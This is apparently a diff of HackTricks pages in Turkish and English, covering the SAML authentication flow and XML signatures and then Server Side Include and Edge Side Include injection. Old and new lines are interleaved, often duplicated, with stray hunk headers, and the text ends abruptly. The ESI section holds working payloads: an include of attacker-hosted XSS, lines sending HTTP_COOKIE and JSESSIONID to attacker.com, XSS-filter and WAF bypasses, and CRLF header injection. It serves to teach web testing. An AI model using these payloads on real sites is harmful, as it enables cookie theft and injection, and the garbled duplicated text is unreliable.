5. **IdP'de Kimlik Doğrulama**: IdP, kullanıcıyı kimlik doğrular.
6. **Kullanıcı Doğrulaması**: IdP, kullanıcının talep edilen kaynağa erişim yetkisini doğrular.
7. **SAML Yanıtı Oluşturma**: IdP, gerekli beyanları içeren bir SAML Yanıtı oluşturur.
8. **SP'nin ACS URL'sine Yönlendirme**: Kullanıcı, SP'nin Beyan Tüketim Servisi (ACS) URL'sine yönlendirilir.
9. **SAML Yanıtı Doğrulama**: ACS, SAML Yanıtını doğrular.
10. **Kaynak Erişimi Onaylandı**: İlk olarak istenen kaynağa erişim sağlanır.
10. **Kaynağa Erişim Verildi**: İlk talep edilen kaynağa erişim verilir.
# SAML İstemi Örneği
# SAML İsteği Örneği
Bir kullanıcının [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) adresindeki güvenli bir kaynağa erişim isteğini düşünelim. SP, kimlik doğrulamasının eksik olduğunu tespit eder ve bir SAML İsteği oluşturur:
Bir kullanıcının [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) adresindeki güvenli bir kaynağa erişim talep ettiği senaryoyu düşünün. SP, kimlik doğrulamanın eksikliğini tespit eder ve bir SAML İsteği oluşturur:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
SAML İsteği şu şekilde görünür:
Ham SAML İsteği şu şekilde görünür:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
Bu isteğin temel unsurları şunlardır:
- **AssertionConsumerServiceURL**: IdP'nin SAML Yanıtını kimlik doğrulamasından sonra göndermesi gereken yerin belirlendiği yerdir.
- **Destination**: İsteğin gönderildiği IdP'nin adresidir.
- **ProtocolBinding**: SAML protokolü mesajlarının iletim yöntemini tanımlar.
- **saml:Issuer**: İsteği başlatan varlığı tanımlar.
Key elements of this request include:
- **AssertionConsumerServiceURL**: IdP'nin kimlik doğrulama sonrası SAML Yanıtını göndermesi gereken yeri belirtir.
- **Destination**: Talebin gönderildiği IdP'nin adresi.
- **ProtocolBinding**: SAML protokol mesajlarının iletim yöntemini tanımlar.
- **saml:Issuer**: Talebi başlatan varlığı tanımlar.
SAML İsteği oluşturulduktan sonra, SP, tarayıcıyı SAML İsteğini HTTP yanıtının **Location** başlığında kodlanmış olarak içeren IdP'ye yönlendiren bir **302 yönlendirmesi** ile yanıt verir. **RelayState** parametresi, işlem boyunca durum bilgisini korur ve SP, SAML Yanıtını aldığında başlangıç kaynağı isteğini tanır. **SAMLRequest** parametresi, ham XML parçacığının sıkıştırılmış ve kodlanmış bir sürümüdür ve Deflate sıkıştırma ve base64 kodlama kullanır.
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# SAML Yanıtı Örneği
# SAML Response Example
[İşte tam bir SAML yanıtı](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) bulabilirsiniz. Yanıtın temel bileşenleri şunları içerir:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: Bu bölüm, bir XML İmzasıdır ve beyanın yayıncısının bütünlüğünü ve otantikliğini sağlar. Örnekteki SAML yanıtı, mesaj için bir `ds:Signature` öğesi ve beyan için başka bir `ds:Signature` öğesi içerir.
- **saml:Assertion**: Bu bölüm, kullanıcının kimlik bilgilerini ve olası diğer öznitelikleri içerir.
- **saml:Subject**: Beyanda yer alan tüm ifadelerin temel konusunu belirtir.
- **saml:StatusCode**: İlgili isteğe yanıt olarak işlemin durumunu temsil eder.
- **saml:Conditions**: Beyanın geçerlilik zamanlaması ve belirtilen Hizmet Sağlayıcı gibi koşulları ayrıntılandırır.
- **saml:AuthnStatement**: Beyanın konusunun IdP tarafından kimlik doğrulandığını onaylar.
- **saml:AttributeStatement**: Beyanın konusunu tanımlayan öznitelikleri içerir.
- **ds:Signature**: Bu bölüm, bir XML İmzasıdır ve beyanın vericisinin bütünlüğünü ve doğruluğunu sağlar. Örnekteki SAML yanıtı, bir mesaj için ve diğeri beyan için olmak üzere iki `ds:Signature` öğesi içerir.
- **saml:Assertion**: Bu kısım, kullanıcının kimliği ve muhtemelen diğer nitelikler hakkında bilgi tutar.
- **saml:Subject**: Beyandaki tüm ifadelerin ana konusunu belirtir.
- **saml:StatusCode**: İlgili talebe yanıt olarak işlemin durumunu temsil eder.
- **saml:Conditions**: Beyanın geçerlilik süresi ve belirtilen Hizmet Sağlayıcı gibi koşulları detaylandırır.
- **saml:AuthnStatement**: IdP'nin Beyanın konusunu kimlik doğruladığını onaylar.
- **saml:AttributeStatement**: Beyanın konusunu tanımlayan nitelikleri içerir.
SAML Yanıtını takiben, süreç IdP'den bir 302 yönlendirmesi içerir. Bu, Hizmet Sağlayıcının Assertion Consumer Service (ACS) URL'sine bir POST isteği yapılmasına yol açar. POST isteği, `RelayState` ve `SAMLResponse` parametrelerini içerir. ACS, SAML Yanıtını işlemek ve doğrulamakla sorumludur.
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
POST isteği alındıktan ve SAML Yanıtı doğrulandıktan sonra, kullanıcının başlangıçta istediği korumalı kaynağa erişim sağlanır. Bu, `/secure/` uç noktasına bir `GET` isteği ve başarılı erişimi gösteren bir `200 OK` yanıtı ile gösterilir.
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# XML İmzaları
# XML Signatures
XML İmzaları çok yönlüdür ve bir XML ağacının tamamını veya belirli öğelerini imzalayabilir. Bunlar yalnızca Yanıt öğelerine değil, herhangi bir XML Nesnesine uygulanabilir. Aşağıda XML İmzalarının temel türleri bulunmaktadır:
XML İmzaları çok yönlüdür, bir XML ağacını veya içindeki belirli öğeleri imzalamak için kullanılabilirler. Herhangi bir XML Nesnesine, yalnızca Yanıt öğelerine değil, uygulanabilirler. Aşağıda XML İmzalarının ana türleri bulunmaktadır:
### XML İmzasının Temel Yapısı
Bir XML İmzası, aşağıdaki temel öğelerden oluşur:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
```xml
<Signature>
<SignedInfo>
@ -104,11 +105,11 @@ Bir XML İmzası, aşağıdaki temel öğelerden oluşur:
<Object />
</Signature>
```
Her bir `Reference` öğesi, URI özniteliği ile belirlenen belirli bir kaynağın imzalandığını gösterir.
Her `Reference` elementi, URI niteliği ile tanımlanabilen, imzalanan belirli bir kaynağı belirtir.
### XML İmzalarının Türleri
1. **Kapsayan İmza**: Bu tür bir imza, imzalanan içeriğin bir alt öğesi olup, imza, imzalanan içerikle aynı XML yapısı içinde bulunur.
1. **Enveloped Signature**: Bu tür imza, imzaladığı kaynağın bir alt kümesidir, yani imza, imzalanan içerikle aynı XML yapısı içinde yer alır.
Örnek:
```xml
@ -126,9 +127,9 @@ Her bir `Reference` öğesi, URI özniteliği ile belirlenen belirli bir kaynağ
</samlp:Response>
```
Kapsayan bir imzada, `ds:Transform` öğesi, `enveloped-signature` algoritmasıyla kapsandığını belirtir.
Enveloped signature'da, `ds:Transform` elementi, imzanın `enveloped-signature` algoritması ile sarıldığını belirtir.
2. **Kapsayan İmza**: Kapsayan imzalar, imzalanan kaynağı saran imzalardır.
2. **Enveloping Signature**: Enveloped signature'ların aksine, enveloping signature'lar imzalanan kaynağı sarar.
Örnek:
```xml
@ -145,7 +146,7 @@ Kapsayan bir imzada, `ds:Transform` öğesi, `enveloped-signature` algoritmasıy
</ds:Signature>
```
3. **Ayrı İmza**: Bu tür, imzaladığı içerikten ayrıdır. İmza ve içerik bağımsız olarak var olsa da, ikisi arasındaki bir bağlantı korunur.
3. **Detached Signature**: Bu tür, imzaladığı içerikten ayrıdır. İmza ve içerik bağımsız olarak var olur, ancak ikisi arasında bir bağlantı korunur.
Örnek:
```xml
@ -162,21 +163,23 @@ Kapsayan bir imzada, `ds:Transform` öğesi, `enveloped-signature` algoritmasıy
</ds:Signature>
```
Sonuç olarak, XML İmzaları, farklı yapısal ve güvenlik ihtiyaçlarını karşılayan esnek yöntemler sunar.
Sonuç olarak, XML İmzaları, XML belgelerini güvence altına almak için esnek yollar sunar; her tür, farklı yapısal ve güvenlik ihtiyaçlarını karşılar.
## Referanslar
## References
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,42 @@
# Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme Enjeksiyonu
# Server Side Inclusion/Edge Side Inclusion Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Sunucu Tarafı Dahil Etme Temel Bilgileri
## Server Side Inclusion Temel Bilgiler
**(Giriş [Apache belgelerinden alınmıştır](https://httpd.apache.org/docs/current/howto/ssi.html))**
**(Giriş [Apache belgelerinden](https://httpd.apache.org/docs/current/howto/ssi.html) alınmıştır)**
SSI (Sunucu Tarafı Dahil Etme), HTML sayfalarına yerleştirilen ve sayfalar sunulurken sunucuda değerlendirilen yönergelerdir. Bunlar, **tüm sayfayı bir CGI programı veya diğer dinamik teknoloji aracılığıyla sunmadan mevcut bir HTML sayfasına dinamik olarak oluşturulmuş içerik eklemenizi sağlar**.\
Örneğin, aşağıdaki gibi mevcut bir HTML sayfasına bir yönerge yerleştirebilirsiniz:
SSI (Server Side Includes), **HTML sayfalarına yerleştirilen ve sayfalar sunulurken sunucuda değerlendirilen** direktiflerdir. Mevcut bir HTML sayfasına **dinamik olarak üretilen içerik** eklemenizi sağlar, tüm sayfayı bir CGI programı veya diğer dinamik teknoloji aracılığıyla sunmak zorunda kalmadan.\
Örneğin, mevcut bir HTML sayfasına şu şekilde bir direktif yerleştirebilirsiniz:
`<!--#echo var="DATE_LOCAL" -->`
Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeriyle değiştirilecektir:
Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeri ile değiştirilecektir:
`Salı, 15-Oca-2013 19:28:54 EST`
SSI'nin ne zaman kullanılacağı ve ne zaman sayfanızın tamamen bir program tarafından oluşturulması gerektiği genellikle sayfanın ne kadarının statik olduğuna ve sayfanın her sunulduğunda ne kadarının yeniden hesaplanması gerektiğine bağlıdır. SSI, yukarıda gösterildiği gibi mevcut zaman gibi küçük bilgileri eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğunda oluşturuluyorsa, başka bir çözüm aramanız gerekmektedir.
SSI kullanma kararı, sayfanızın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
Web uygulamasının \*\* `.shtml`, `.shtm` veya `.stm` uzantılı dosyaları kullanması durumunda SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.
Web uygulaması **`.shtml`, `.shtm` veya `.stm`** uzantılı dosyalar kullanıyorsa SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.
Tipik bir SSI ifadesi aşağıdaki formata sahiptir:
Tipik bir SSI ifadesinin aşağıdaki formatı vardır:
```
<!--#directive param="value" -->
```
### Kontrol Et
Server-side inclusion (SSI) ve edge-side inclusion (ESI) enjeksiyonu, web uygulamalarında yaygın olarak bulunan bir güvenlik açığıdır. Bu tür enjeksiyonlar, saldırganın hedef uygulamada kodu çalıştırmasına ve istemciye yanıt olarak dinamik içerik oluşturmasına olanak tanır.
SSI enjeksiyonu, sunucu tarafında gerçekleşir ve genellikle sunucu tarafı betiklerinin (örneğin PHP, ASP, JSP) kullanıldığı web uygulamalarında bulunur. Saldırgan, kullanıcı girişi veya diğer kullanıcı tarafından sağlanan verileri kullanarak SSI komutlarını enjekte eder. Bu komutlar sunucu tarafında çalıştırılır ve sonucu istemciye gönderilir.
ESI enjeksiyonu ise, içerik dağıtım ağı (CDN) veya ters proxy gibi ara sunucuların kullanıldığı web uygulamalarında ortaya çıkar. Saldırgan, ESI etiketlerini kullanarak istemciye gönderilen içeriği manipüle eder. Bu etiketler, dinamik içeriği yerleştirmek veya diğer sunuculara istek göndermek için kullanılır.
Bu tür enjeksiyonlar, saldırganın yetkisiz olarak uygulama sunucusunda kod çalıştırmasına ve hassas verilere erişmesine olanak tanır. Bu nedenle, SSI ve ESI enjeksiyonlarının önlenmesi ve tespit edilmesi önemlidir.
SSI ve ESI enjeksiyonlarını önlemek için aşağıdaki adımları izleyebilirsiniz:
- Kullanıcı girişi veya diğer kullanıcı tarafından sağlanan verileri güvenli bir şekilde işleyin. Bu verileri doğrulayın ve gerektiğinde filtreleyin.
- Sunucu tarafında çalışan betiklerde SSI veya ESI komutlarını kullanmaktan kaçının.
- Web uygulamanızı güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın.
- Web uygulamanızı güvenlik testlerine tabi tutun ve düzenli olarak güvenlik açıklarını taramak için otomatik araçlar kullanın.
SSI ve ESI enjeksiyonları, web uygulamalarında yaygın olarak bulunan güvenlik açıklarıdır. Bu tür enjeksiyonları önlemek ve tespit etmek için güvenlik önlemleri almak önemlidir.
### Kontrol
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -83,19 +67,19 @@ SSI ve ESI enjeksiyonları, web uygulamalarında yaygın olarak bulunan güvenli
<!--#set var="name" value="Rich" -->
```
## Edge Side İçerik Ekleme
## Edge Side Inclusion
Bir sorun vardır: **bilgi önbelleğe alınırken veya dinamik uygulamaların** bir parçası olarak içeriğin bir sonraki alındığında **değişebilir** olması. İşte ESI'nin kullanıldığı yer burasıdır, ESI etiketlerini kullanarak **önbellek sürümü gönderilmeden önce oluşturulması gereken dinamik içeriği** belirtmek için kullanılır.\
Eğer bir **saldırgan**, önbellek içeriğine bir ESI etiketi **enjekte edebilirse**, o zaman kullanıcılara gönderilmeden önce belgeye **keyfi içerik enjekte edebilir**.
**Dinamik uygulamaların veya bilgilerin önbelleğe alınması** ile ilgili bir sorun vardır, çünkü içeriğin bir sonraki kez alındığında **değişmiş** olabileceği durumlar vardır. Bu, **ESI**'nin kullanılma amacıdır; ESI etiketlerini kullanarak **önbellek versiyonundan önce oluşturulması gereken dinamik içeriği** belirtmek için.\
Eğer bir **saldırgan** önbellek içeriğine **bir ESI etiketi enjekte edebilirse**, o zaman, kullanıcılar için gönderilmeden önce belgede **rastgele içerik enjekte edebilir**.
### ESI Tespiti
### ESI Detection
Sunucudan gelen bir yanıtta aşağıdaki **başlık**, sunucunun ESI kullandığı anlamına gelir:
Sunucudan gelen bir yanıttaki aşağıdaki **header**, sunucunun ESI kullandığını gösterir:
```
Surrogate-Control: content="ESI/1.0"
```
Eğer bu başlık bulunamazsa, sunucu yine de ESI kullanıyor olabilir.\
Kör bir saldırı yaklaşımı da kullanılabilir çünkü bir istek saldırganın sunucusuna ulaşmalıdır:
Eğer bu başlığı bulamazsanız, sunucu **her neyse ESI kullanıyor olabilir**.\
**Kör istismar yaklaşımı da kullanılabilir** çünkü bir isteğin saldırganın sunucusuna ulaşması gerekir:
```javascript
// Basic detection
hell<!--esi-->o
@ -118,40 +102,30 @@ hell<!--esi-->o
```
### ESI istismarı
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) farklı ESI yetenekli yazılımlara karşı deneyebileceğimiz olası saldırıları anlamak için bir tablo oluşturdu, bu tablo şu şekildedir:
[GoSecure oluşturdu](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) farklı ESI uyumlu yazılımlar üzerinde deneyebileceğimiz olası saldırıları anlamak için bir tablo:
* **Includes**: `<esi:includes>` direktifini destekler
* **Vars**: `<esi:vars>` direktifini destekler. XSS Filtrelerini atlamak için kullanışlıdır
* **Vars**: `<esi:vars>` direktifini destekler. XSS Filtrelerini atlatmak için kullanışlıdır
* **Cookie**: Belge çerezleri ESI motoruna erişilebilir
* **Upstream Headers Gerekli**: Surrogate uygulamaları, yukarı akış uygulaması başlıkları sağlanmadığı sürece ESI ifadelerini işlemeyecektir
* **Host Beyaz Listesi**: Bu durumda, ESI dahil etmeleri yalnızca izin verilen sunucu ana bilgisayarlarından mümkün olur, bu da örneğin SSRF'nin yalnızca bu ana bilgisayarlara karşı mümkün olmasını sağlar
* **Upstream Headers Required**: Surrogate uygulamaları, upstream uygulama başlıkları sağlamadıkça ESI ifadelerini işleme almaz
* **Host Allowlist**: Bu durumda, ESI dahil etmeleri yalnızca izin verilen sunucu ana bilgisayarlarından mümkündür, bu da örneğin SSRF'yi yalnızca bu ana bilgisayarlara karşı mümkün kılar
| **Yazılım** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Gerekli** | **Host Beyaz Listesi** |
| :------------------------: | :----------: | :------: | :---------: | :-------------------------: | :--------------------: |
| Squid3 | Evet | Evet | Evet | Evet | Hayır |
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
| Akamai ESI Test Sunucusu | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | İsteğe bağlı |
| **Yazılım** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Evet | Evet | Evet | Evet | Hayır |
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
| Akamai ESI Test Sunucusu (ETS) | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
#### XSS
Aşağıdaki ESI direktifi, sunucunun yanıtının içine herhangi bir dosyayı yükler.
Aşağıdaki ESI direktifi, sunucunun yanıtı içinde rastgele bir dosya yükleyecektir.
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### İstemci XSS korumasını atlatma
Client-side Cross-Site Scripting (XSS) korumasını atlatmak için çeşitli yöntemler vardır. Bu yöntemler, saldırganın XSS saldırısını hedef uygulamaya enjekte etmesine ve korumaları aşmasına olanak tanır. İşte bazı yaygın yöntemler:
- **HTML entites bypasse**: İstemci tarafında XSS korumasını atlatmanın basit bir yolu, HTML özel karakterlerini HTML kodlarına dönüştürmek için kullanılan HTML entity kodlarını kullanmaktır. Bu, saldırganın XSS payloadunu korumaları aşarak enjekte etmesine olanak tanır.
- **JavaScript obfuscation**: JavaScript kodunu karmaşıklaştırarak veya şifreleyerek XSS korumasını atlatmak mümkündür. Bu, saldırganın XSS payloadunu gizlemesine ve korumaları aşmasına yardımcı olur.
- **DOM-based bypass**: DOM tabanlı XSS korumasını atlatmak için, saldırganın hedef uygulamanın DOM yapısını manipüle etmesi gerekebilir. Bu, saldırganın XSS payloadunu doğrudan DOM'a enjekte etmesine ve korumaları aşmasına olanak tanır.
Bu yöntemler, saldırganın istemci tarafında XSS korumasını atlatmasına yardımcı olabilir. Ancak, bu tür saldırıları önlemek için güvenlik önlemleri almak önemlidir. Uygulama geliştiricileri, güvenli kodlama tekniklerini kullanarak XSS saldırılarına karşı koruma sağlamalıdır.
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -166,7 +140,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* XSS ile HTTP\_ONLY çerez çalma işlemi, yanıtta yansıtarak gerçekleştirilir:
* HTTP\_ONLY çerezini XSS ile yanıt içinde yansıtarak çalın:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -182,20 +156,10 @@ Bunu "Yerel Dosya Dahil Etme" ile karıştırmayın:
<esi:include src="secret.txt">
```
#### CRLF
CRLF (Carriage Return Line Feed) injection, also known as HTTP response splitting, is a web vulnerability that allows an attacker to inject malicious headers or control the response sent by the server. This can lead to various attacks, such as cross-site scripting (XSS), session hijacking, cache poisoning, and more.
The vulnerability occurs when user input is not properly validated or sanitized before being included in the response headers. An attacker can exploit this by injecting CRLF characters (%0D%0A) into the input, causing the server to interpret them as separate headers or new lines.
To exploit this vulnerability, an attacker can craft a malicious request that includes CRLF characters in the user input. For example, by injecting a CRLF character after the user's input, the attacker can add a new header or modify an existing one. This can be used to perform various attacks, such as injecting malicious JavaScript code in an XSS attack or manipulating the server's response to bypass security controls.
To prevent CRLF injection attacks, it is important to properly validate and sanitize user input before including it in the response headers. This can be done by using input validation techniques, such as whitelisting or blacklisting, and encoding user input to prevent the interpretation of special characters.
Overall, CRLF injection is a serious web vulnerability that can have severe consequences if not properly mitigated. It is important for developers and security professionals to be aware of this vulnerability and implement proper security measures to protect against it.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### ık Yönlendirme
#### Open Redirect
Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
```bash
@ -203,13 +167,13 @@ Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
```
#### Başlık Ekle
* Zorlanmış istekte başlık ekle
* Zorunlu istekte başlık ekle
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Yanıtta başlık ekle (XSS olan bir yanıtta "Content-Type: text/json" geçişini atlamak için kullanışlıdır)
* Yanıtın başlığına ekleyin (XSS içeren bir yanıtta "Content-Type: text/json" atlatmak için faydalıdır)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -217,58 +181,22 @@ Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
# Check the number of url_decode to know how many times you can URL encode the value
```
#### Başlık ekleme işleminde CRLF (**CVE-2019-2438)**
Bu zafiyet, bir web uygulamasının başlık ekleme işlevinde CRLF (Satır Sonu ve Satır Başı) enjeksiyonuna izin verdiği durumlarda ortaya çıkar. Bu, saldırganın HTTP yanıt başlıklarını manipüle ederek çeşitli saldırılar gerçekleştirmesine olanak tanır.
##### Saldırı Senaryoları
1. **HTTP Response Splitting (HTTP Yanıtı Bölme):** Saldırgan, CRLF karakterlerini kullanarak yanıt başlıklarını bölerek, yanıtın içeriğini değiştirebilir veya yanıtı tamamen bozabilir. Bu, saldırganın kullanıcıları yanıltmasına ve kötü amaçlı içerik sunmasına olanak tanır.
2. **Session Hijacking (Oturum Kaçırma):** Saldırgan, CRLF enjeksiyonunu kullanarak oturum kimlik bilgilerini çalabilir ve hedef kullanıcının oturumunu ele geçirebilir. Bu, saldırganın hedef kullanıcının hesabına erişim sağlamasına ve yetkisiz işlemler gerçekleştirmesine olanak tanır.
##### Saldırı Örnekleri
1. **HTTP Response Splitting Saldırısı:** Saldırgan, CRLF karakterlerini kullanarak yanıt başlıklarını bölerek, kullanıcıyı yanıltıcı bir web sayfasına yönlendirebilir. Örneğin:
```http
HTTP/1.1 302 Found
Location: http://www.malicious-website.com%0D%0ASet-Cookie: sessionid=1234567890%0D%0A
```
Bu saldırıda, saldırgan, kullanıcının tarayıcısına yanıt başlıklarını manipüle ederek kötü amaçlı bir web sitesine yönlendirir ve aynı zamanda kullanıcının oturum kimlik bilgilerini çalar.
2. **Session Hijacking Saldırısı:** Saldırgan, CRLF enjeksiyonunu kullanarak oturum kimlik bilgilerini çalar ve hedef kullanıcının oturumunu ele geçirir. Örneğin:
```http
GET /login HTTP/1.1
Host: www.vulnerable-website.com%0D%0ACookie: sessionid=1234567890%0D%0A
```
Bu saldırıda, saldırgan, CRLF karakterlerini kullanarak oturum kimlik bilgilerini çalar ve hedef kullanıcının oturumunu ele geçirir.
##### Önleme Yöntemleri
- Giriş denetimlerini güçlendirin ve giriş parametrelerini doğrulayın.
- Giriş parametrelerini güvenli bir şekilde işleyin ve kullanıcı girişlerini temizleyin.
- Başlık ekleme işlevlerinde CRLF karakterlerini filtreleyin veya kaçış karakterleriyle işleyin.
- Güncel ve güvenli bir web uygulama çerçevesi kullanın.
- Web uygulamanızı düzenli olarak güncelleyin ve güvenlik açıklarını düzeltin.
#### CRLF Ekle başlığında (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai hata ayıklama
#### Akamai debug
Bu, yanıtta yer alan hata ayıklama bilgilerini gönderir:
Bu, yanıtta yer alan hata ayıklama bilgilerini gönderecektir:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
